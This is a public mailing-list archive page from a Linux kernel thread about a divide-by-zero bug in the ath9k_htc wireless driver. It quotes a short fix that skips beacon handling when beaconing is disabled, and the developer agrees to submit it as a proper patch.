>>> diff --git i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>>> index 547634f82183..81fa7cbad892 100644
>>> --- i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>>> +++ w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>>> @@ -290,6 +290,9 @@ void ath9k_htc_swba(struct ath9k_htc_priv *priv,
>>> struct ath_common *common = ath9k_hw_common(priv->ah);
>>> int slot;
>>>
>>> + if (!priv->cur_beacon_conf.enable_beacon)
>>> + return;
>>> +
>>> if (swba->beacon_pending != 0) {
>>> priv->beacon.bmisscnt++;
>>> if (priv->beacon.bmisscnt > BSTUCK_THRESHOLD) {
>>
>
> Toke, care to submit a patch I can apply?
Yup, will do.
-Toke
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2025-04-02 9:09 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-03-27 18:16 divide by zero in ath9k_htc_choose_bslot() rtm
2025-03-31 12:26 ` Toke Høiland-Jørgensen
2025-03-31 14:17 ` rtm
2025-04-01 18:13 ` Jeff Johnson
2025-04-02 9:09 ` Toke Høiland-Jørgensen
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).